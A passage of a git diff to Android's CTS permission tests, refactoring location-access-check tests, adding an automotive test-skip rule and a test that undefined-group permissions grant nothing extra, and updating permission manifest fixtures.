         PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME,
                 PackageManager.FLAG_PERMISSION_POLICY_FIXED, 0);
     }
diff --git a/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
new file mode 100644
index 0000000..45288bd
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.rules.MethodRule;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.Statement;
+
+/**
+ * A {@link org.junit.Rule} that will cause all tests in the class
+ * to be ignored if the argument to the constructor is true.
+ */
+public class IgnoreAllTestsRule implements MethodRule {
+
+    private boolean mIgnore;
+
+    /**
+     * Creates a new IgnoreAllTestsRule
+     * @param ignore If true, all tests in the class will be ignored. If false, this rule will
+     *               do nothing.
+     */
+    public IgnoreAllTestsRule(boolean ignore) {
+        mIgnore = ignore;
+    }
+
+    @Override
+    public Statement apply(Statement base, FrameworkMethod method, Object target) {
+        if (mIgnore) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                }
+            };
+        } else {
+            return base;
+        }
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 62a5a44..53b7d18 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -20,6 +20,7 @@
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
 import static android.app.Notification.EXTRA_TITLE;
 import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Context.BIND_NOT_FOREGROUND;
 import static android.content.Intent.ACTION_BOOT_COMPLETED;
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
 import static android.location.Criteria.ACCURACY_FINE;
@@ -34,6 +35,7 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
@@ -56,6 +58,8 @@
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Looper;
+import android.os.SystemClock;
+import android.permission.cts.appthataccesseslocation.IAccessLocationOnCommand;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.provider.DeviceConfig;
@@ -101,7 +105,8 @@
             "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
 
     /** Whether to show location access check notifications. */
-    private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED = "location_access_check_enabled";
+    private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
+            "location_access_check_enabled";
 
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
@@ -125,28 +130,20 @@
      */
     private static Boolean sCanAccessFineLocation = null;
 
-    private ServiceConnection mConnection;
+    private static ServiceConnection sConnection;
+    private static IAccessLocationOnCommand sLocationAccessor;
+
     /**
      * Connected to {@value #TEST_APP_PKG} and make it access the location in the background
      */
-    private void accessLocation() {
-        mConnection = new ServiceConnection() {
-            @Override
-            public void onServiceConnected(ComponentName name, IBinder service) {
-                // ignore
-            }
-
-            @Override
-            public void onServiceDisconnected(ComponentName name) {
-                // ignore
-            }
-        };
-
-        // Connect and disconnect to service. After the service is disconnected it causes a
-        // access to the location
-        Intent testAppService = new Intent();
-        testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
-        sContext.bindService(testAppService, mConnection, BIND_AUTO_CREATE);
+    private void accessLocation() throws Throwable {
+        if (sConnection == null || sLocationAccessor == null) {
+            bindService();
+        }
+        eventually(() -> {
+            assertNotNull(sLocationAccessor);
+            sLocationAccessor.accessLocation();
+        }, EXPECTED_TIMEOUT_MILLIS);
     }
 
     /**
@@ -183,9 +180,7 @@
      *
      * @param r       The {@link ThrowingCallable} to run.
      * @param timeout the maximum time to wait
-     *
      * @return the return value from the callable
-     *
      * @throws NullPointerException If the return value never becomes non-null
      */
     public static <T> T eventually(@NonNull ThrowingCallable<T> r, long timeout) throws Throwable {
@@ -225,6 +220,7 @@
      * @param pkg The name of the package to be cleared
      */
     private static void clearPackageData(@NonNull String pkg) {
+        unbindService();
         runShellCommand("pm clear --user -2 " + pkg);
     }
 
@@ -254,16 +250,24 @@
         return null;
     }
 
+    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+        return getNotification(cancelNotification, false);
+    }
+
     /**
      * Get a location access notification that is currently visible.
      *
      * @param cancelNotification if {@code true} the notification is canceled inside this method
-     *
+     * @param returnImmediately if {@code true} this method returns immediately after checking once
+     *                          for the notification
      * @return The notification or {@code null} if there is none
      */
-    private StatusBarNotification getNotification(boolean cancelNotification) throws Throwable {
+    private StatusBarNotification getNotification(boolean cancelNotification,
+            boolean returnImmediately) throws Throwable {
         NotificationListenerService notificationService = NotificationListener.getInstance();
-        long start = System.currentTimeMillis();
+        long start = SystemClock.elapsedRealtime();
+        long timeout = returnImmediately ? 0 : LOCATION_ACCESS_TIMEOUT_MILLIS
+                + BACKGROUND_ACCESS_SETTLE_TIME;
         while (true) {
             runLocationCheck();
 
@@ -271,8 +275,7 @@
             if (notification == null) {
                 // Sometimes getting a location takes some time, hence not getting a notification
                 // can be caused by not having gotten a location yet
-                if (System.currentTimeMillis() - start < LOCATION_ACCESS_TIMEOUT_MILLIS
-                        + BACKGROUND_ACCESS_SETTLE_TIME) {
+                if (SystemClock.elapsedRealtime() - start < timeout) {
                     Thread.sleep(200);
                     continue;
                 }
@@ -336,19 +339,42 @@
 
     @BeforeClass
     public static void installBackgroundAccessApp() {
-        runShellCommand("pm install -r -g " + TEST_APP_LOCATION_BG_ACCESS_APK);
+        installBackgroundAccessApp(false);
+    }
+
+    private static void installBackgroundAccessApp(boolean isDowngrade) {
+        String command = "pm install -r -g ";
+        if (isDowngrade) {
+            command = command + "-d ";
+        }
+        String output = runShellCommand(command + TEST_APP_LOCATION_BG_ACCESS_APK);
+        assertTrue(output.contains("Success"));
     }
 
     @AfterClass
     public static void uninstallBackgroundAccessApp() {
+        unbindService();
         runShellCommand("pm uninstall " + TEST_APP_PKG);
     }
 
+    private static void unbindService() {
+        if (sConnection != null) {
+            sContext.unbindService(sConnection);
+        }
+        sConnection = null;
+        sLocationAccessor = null;
+    }
+
 
     private static void installForegroundAccessApp() {
+        unbindService();
         runShellCommand("pm install -r -g " + TEST_APP_LOCATION_FG_ACCESS_APK);
     }
 
+    private static void uninstallForegroundAccessApp() {
+        runShellCommand("pm uninstall " + TEST_APP_LOCATION_FG_ACCESS_APK);
+    }
+
     /**
      * Skip each test for low ram device
      */
@@ -357,6 +383,27 @@
         assumeFalse(sActivityManager.isLowRamDevice());
     }
 
+    @Before
+    public void bindService() {
+        sConnection = new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                sLocationAccessor = IAccessLocationOnCommand.Stub.asInterface(service);
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                sConnection = null;
+                sLocationAccessor = null;
+            }
+        };
+
+        Intent testAppService = new Intent();
+        testAppService.setComponent(new ComponentName(TEST_APP_PKG, TEST_APP_SERVICE));
+
+        sContext.bindService(testAppService, sConnection, BIND_AUTO_CREATE | BIND_NOT_FOREGROUND);
+    }
+
     /**
      * Reset the permission controllers state before each test
      */
@@ -481,7 +528,7 @@
     @AfterClass
     public static void disallowNotificationAccess() {
         runShellCommand("cmd notification disallow_listener " + (new ComponentName(sContext,
-                        NotificationListener.class)).flattenToString());
+                NotificationListener.class)).flattenToString());
     }
 
     /**
@@ -510,10 +557,9 @@
     }
 
     @After
-    public void locationUnbind() {
-        if (mConnection != null) {
-            sContext.unbindService(mConnection);
-        }
+    public void locationUnbind() throws Throwable {
+        unbindService();
+        getNotification(true, true);
     }
 
     @Test
@@ -523,7 +569,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownOnlyOnce() throws Throwable {
         accessLocation();
         getNotification(true);
@@ -532,7 +578,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownAgainAfterClear() throws Throwable {
         accessLocation();
         getNotification(true);
@@ -564,12 +610,12 @@
 
         eventually(() -> {
             accessLocation();
-            assertNotNull(getNotification(false));
+            assertNotNull(getNotification(true));
         }, UNEXPECTED_TIMEOUT_MILLIS);
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void removeNotificationOnUninstall() throws Throwable {
         accessLocation();
         getNotification(false);
@@ -604,12 +650,12 @@
 
             fail("Location access notification was shown");
         } finally {
-            installBackgroundAccessApp();
+            installBackgroundAccessApp(true);
         }
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfFeatureDisabled() throws Throwable {
         disableLocationAccessCheck();
         accessLocation();
@@ -617,7 +663,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
         // Disable the feature and access location in disabled state
         disableLocationAccessCheck();
@@ -634,8 +680,9 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+        getNotification(true);
         // Blame the app for access from an untrusted for notification purposes package.
         runWithShellPermissionIdentity(() -> {
             AppOpsManager appOpsManager = sContext.getSystemService(AppOpsManager.class);
@@ -646,7 +693,7 @@
     }
 
     @Test
-    @SecurityTest(minPatchLevel="2019-12-01")
+    @SecurityTest(minPatchLevel = "2019-12-01")
     public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
         Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index 656f6ad..5670cc1 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -43,6 +43,7 @@
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 
 import java.util.concurrent.CompletableFuture;
@@ -70,6 +71,10 @@
 
     private String mOldOneTimePermissionTimeoutValue;
 
+    @Rule
+    public IgnoreAllTestsRule mIgnoreAutomotive = new IgnoreAllTestsRule(
+            mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
     @Before
     public void wakeUpScreen() {
         SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 1466cb8..37a448b 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -30,7 +30,9 @@
 import android.content.Intent;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.platform.test.annotations.SecurityTest;
+import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
@@ -53,6 +55,7 @@
 
     private Context mContext;
     private UiDevice mUiDevice;
+    private String mAllowButtonText = null;
 
     @Before
     public void setContextAndUiDevice() {
@@ -100,8 +103,15 @@
     }
 
     protected void clickAllowButton() throws Exception {
-        mUiDevice.findObject(new UiSelector().resourceId(
-                "com.android.permissioncontroller:id/permission_allow_button")).click();
+        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            if (mAllowButtonText == null) {
+                mAllowButtonText = getPermissionControllerString("grant_dialog_button_allow");
+            }
+            mUiDevice.findObject(By.text(mAllowButtonText)).click();
+        } else {
+            mUiDevice.findObject(By.res(
+                    "com.android.permissioncontroller:id/permission_allow_button")).click();
+        }
     }
 
     private void grantPermissionViaUi() throws Throwable {
@@ -174,6 +184,15 @@
         }
     }
 
+    private String getPermissionControllerString(String res)
+            throws PackageManager.NameNotFoundException {
+        Resources permissionControllerResources = mContext.createPackageContext(
+                mContext.getPackageManager().getPermissionControllerPackageName(), 0)
+                .getResources();
+        return permissionControllerResources.getString(permissionControllerResources
+                .getIdentifier(res, "string", "com.android.permissioncontroller"));
+    }
+
     private interface ThrowingRunnable {
         void run() throws Throwable;
     }
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
index fac3aab..8609e33 100644
--- a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -25,18 +25,14 @@
 import static android.content.Context.WIFI_P2P_SERVICE;
 import static android.content.Context.WIFI_SERVICE;
 
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
 
-import android.app.WallpaperManager;
 import android.content.Context;
 import android.platform.test.annotations.AppModeInstant;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.RequiredServiceRule;
-
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -72,14 +68,8 @@
 
     @Test
     public void cannotGetWallpaperManager() {
-        WallpaperManager mgr  = (WallpaperManager) InstrumentationRegistry.getTargetContext()
-                .getSystemService(WALLPAPER_SERVICE);
-        boolean supported = RequiredServiceRule.hasService("wallpaper");
-        if (supported) {
-            assertNull(mgr);
-        } else {
-            assertFalse(mgr.isWallpaperSupported());
-        }
+        assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+                WALLPAPER_SERVICE));
     }
 
     @Test
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
new file mode 100644
index 0000000..ba9212b
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission.cts
+
+import android.Manifest.permission.CAMERA
+import android.Manifest.permission.RECORD_AUDIO
+import android.app.Instrumentation
+import android.content.ComponentName
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.os.Process
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObjectNotFoundException
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
+import org.junit.After
+import org.junit.Assert
+import org.junit.Before
+import org.junit.Test
+
+/**
+ * Tests that the permissioncontroller behaves normally when an app defines a permission in the
+ * android.permission-group.UNDEFINED group
+ */
+class UndefinedGroupPermissionTest {
+    private var mInstrumentation: Instrumentation? = null
+    private var mUiDevice: UiDevice? = null
+    private var mContext: Context? = null
+    private var mPm: PackageManager? = null
+
+    @Before
+    fun install() {
+        SystemUtil.runShellCommand("pm install -r " +
+                "$TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK")
+    }
+
+    @Before
+    fun setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation()
+        mUiDevice = UiDevice.getInstance(mInstrumentation)
+        mContext = mInstrumentation?.targetContext
+        mPm = mContext?.packageManager
+    }
+
+    @Before
+    fun wakeUpScreenAndUnlock() {
+        SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP")
+        SystemUtil.runShellCommand("input keyevent KEYCODE_MENU")
+    }
+
+    @Test
+    fun testOtherGroupPermissionsNotGranted_1() {
+        testOtherGroupPermissionsNotGranted(CAMERA, RECORD_AUDIO)
+    }
+
+    @Test
+    fun testOtherGroupPermissionsNotGranted_2() {
+        testOtherGroupPermissionsNotGranted(TEST, RECORD_AUDIO)
+    }
+
+    @Test
+    fun testOtherGroupPermissionsNotGranted_3() {
+        testOtherGroupPermissionsNotGranted(CAMERA, TEST)
+    }
+
+    /**
+     * When the custom permission is granted nothing else gets granted as a byproduct.
+     */
+    @Test
+    fun testCustomPermissionGrantedAlone() {
+        Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+        Assert.assertEquals(mPm!!.checkPermission(RECORD_AUDIO, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+        Assert.assertEquals(mPm!!.checkPermission(TEST, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+        eventually {
+            startRequestActivity(arrayOf(TEST))
+            mUiDevice!!.waitForIdle()
+            waitFindObject(By.res(
+                    "com.android.permissioncontroller:id/permission_allow_button"),
+                    100).click()
+        }
+        eventually {
+            Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
+                    PackageManager.PERMISSION_DENIED)
+            Assert.assertEquals(mPm!!.checkPermission(RECORD_AUDIO, APP_PKG_NAME),
+                    PackageManager.PERMISSION_DENIED)
+            Assert.assertEquals(mPm!!.checkPermission(TEST, APP_PKG_NAME),
+                    PackageManager.PERMISSION_GRANTED)
+        }
+    }
+
+    @After
+    fun uninstall() {
+        SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
+    }
+
+    /**
+     * If app has one permission granted, then it can't grant itself another permission for free.
+     */
+    fun testOtherGroupPermissionsNotGranted(grantedPerm: String, targetPermission: String) {
+        // Grant the permission in the background
+        SystemUtil.runWithShellPermissionIdentity {
+            mPm!!.grantRuntimePermission(
+                    APP_PKG_NAME, grantedPerm, Process.myUserHandle())
+        }
+        Assert.assertEquals("$grantedPerm not granted.", mPm!!.checkPermission(grantedPerm,
+                APP_PKG_NAME), PackageManager.PERMISSION_GRANTED)
+
+        // If the dialog shows, success. If not then either the UI is broken or the permission was
+        // granted in the background.
+        eventually {
+            startRequestActivity(arrayOf(targetPermission))
+            mUiDevice!!.waitForIdle()
+            try {
+                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            } catch (e: UiObjectNotFoundException) {
+                Assert.assertEquals("grant dialog never showed.",
+                        mPm!!.checkPermission(targetPermission,
+                                APP_PKG_NAME), PackageManager.PERMISSION_GRANTED)
+            }
+        }
+        Assert.assertEquals(mPm!!.checkPermission(targetPermission, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+    }
+
+    private fun startRequestActivity(permissions: Array<String>) {
+        mContext!!.startActivity(Intent()
+                .setComponent(
+                        ComponentName(APP_PKG_NAME, "$APP_PKG_NAME.RequestPermissions"))
+                .putExtra(EXTRA_PERMISSIONS, permissions)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
+    }
+
+    companion object {
+        private const val TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK =
+                "/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk"
+        private const val APP_PKG_NAME = "android.permission.cts.appthatrequestpermission"
+        private const val EXTRA_PERMISSIONS =
+                "android.permission.cts.appthatrequestpermission.extra.PERMISSIONS"
+        const val TEST = "android.permission.cts.appthatrequestpermission.TEST"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl b/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
new file mode 100644
index 0000000..be92ed1
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+interface IAccessLocationOnCommand {
+    /** Access location on command */
+    void accessLocation();
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 2f4d98c..3627195 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -4818,7 +4818,7 @@
     <!-- @SystemApi Allows an application to turn on / off quiet mode.
          @hide -->
     <permission android:name="android.permission.MODIFY_QUIET_MODE"
-                android:protectionLevel="signature|privileged|wellbeing" />
+                android:protectionLevel="signature|privileged|wellbeing|development" />
 
     <!-- Allows internal management of the camera framework
          @hide -->
@@ -4995,6 +4995,10 @@
     <permission android:name="android.permission.ACCESS_TV_DESCRAMBLER"
         android:protectionLevel="signature|privileged|vendorPrivileged" />
 
+    <!-- Allows an application to create trusted displays. @hide -->
+    <permission android:name="android.permission.ADD_TRUSTED_DISPLAY"
+                android:protectionLevel="signature" />
+
     <!-- @hide @SystemApi Allows an application to access locusId events in the usage stats. -->
     <permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
                 android:protectionLevel="signature|appPredictor" />
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index dac484b..dd37ac9 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -15,205 +15,340 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-        package="com.android.car"
-        coreApp="true"
-        android:sharedUserId="android.uid.system">
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+     package="com.android.car"
+     coreApp="true"
+     android:sharedUserId="android.uid.system">
 
-    <original-package android:name="com.android.car" />
-     <permission-group
-        android:name="android.car.permission-group.CAR_MONITORING"
-        android:icon="@drawable/perm_group_car"
-        android:description="@string/car_permission_desc"
-        android:label="@string/car_permission_label" />
-    <permission
-        android:name="android.car.permission.CAR_ENERGY"
-        android:permissionGroup="android.car.permission-group.CAR_MONITORING"
-        android:protectionLevel="dangerous"
-        android:label="@string/car_permission_label_energy"
-        android:description="@string/car_permission_desc_energy" />
-    <permission
-        android:name="android.car.permission.CAR_IDENTIFICATION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_identification"
-        android:description="@string/car_permission_desc_car_identification" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_CLIMATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_hvac"
-        android:description="@string/car_permission_desc_hvac" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_DOORS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_doors"
-        android:description="@string/car_permission_desc_control_car_doors" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_WINDOWS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_windows"
-        android:description="@string/car_permission_desc_control_car_windows" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_MIRRORS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_mirrors"
-        android:description="@string/car_permission_desc_control_car_mirrors" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_SEATS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_seats"
-        android:description="@string/car_permission_desc_control_car_seats" />
-    <permission
-        android:name="android.car.permission.CAR_MILEAGE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_mileage"
-        android:description="@string/car_permission_desc_mileage" />
-    <permission
-        android:name="android.car.permission.CAR_TIRES"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_tires"
-        android:description="@string/car_permission_desc_car_tires" />
-    <permission
-        android:name="android.car.permission.READ_CAR_STEERING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_steering"
-        android:description="@string/car_permission_desc_car_steering" />
-    <permission
-        android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_read_car_display_units"
-        android:description="@string/car_permission_desc_read_car_display_units" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_control_car_display_units"
-        android:description="@string/car_permission_desc_control_car_display_units" />
-    <permission
-        android:name="android.car.permission.CAR_SPEED"
-        android:permissionGroup="android.permission-group.LOCATION"
-        android:protectionLevel="dangerous"
-        android:label="@string/car_permission_label_speed"
-        android:description="@string/car_permission_desc_speed" />
-    <permission
-        android:name="android.car.permission.CAR_ENERGY_PORTS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_energy_ports"
-        android:description="@string/car_permission_desc_car_energy_ports" />
-    <permission
-        android:name="android.car.permission.CAR_ENGINE_DETAILED"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_engine_detailed"
-        android:description="@string/car_permission_desc_car_engine_detailed" />
-    <permission
-        android:name="android.car.permission.CAR_DYNAMICS_STATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vehicle_dynamics_state"
-        android:description="@string/car_permission_desc_vehicle_dynamics_state" />
-    <permission
-        android:name="android.car.permission.CAR_VENDOR_EXTENSION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vendor_extension"
-        android:description="@string/car_permission_desc_vendor_extension" />
-    <permission
-        android:name="android.car.permission.CAR_PROJECTION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_projection"
-        android:description="@string/car_permission_desc_projection" />
-    <permission
-            android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
-            android:protectionLevel="system|signature"
-            android:label="@string/car_permission_label_access_projection_status"
-            android:description="@string/car_permission_desc_access_projection_status" />
-    <permission
-            android:name="android.car.permission.BIND_PROJECTION_SERVICE"
-            android:protectionLevel="signature"
-            android:label="@string/car_permission_label_bind_projection_service"
-            android:description="@string/car_permission_desc_bind_projection_service" />
-    <permission
-        android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_mock_vehicle_hal"
-        android:description="@string/car_permission_desc_mock_vehicle_hal" />
-    <permission
-        android:name="android.car.permission.CAR_INFO"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_info"
-        android:description="@string/car_permission_desc_car_info" />
-    <permission
-        android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_exterior_environment"
-        android:description="@string/car_permission_desc_car_exterior_environment" />
-    <permission
-        android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_exterior_lights"
-        android:description="@string/car_permission_desc_car_exterior_lights" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_exterior_lights"
-        android:description="@string/car_permission_desc_control_car_exterior_lights" />
-    <permission
-        android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_interior_lights"
-        android:description="@string/car_permission_desc_car_interior_lights" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_interior_lights"
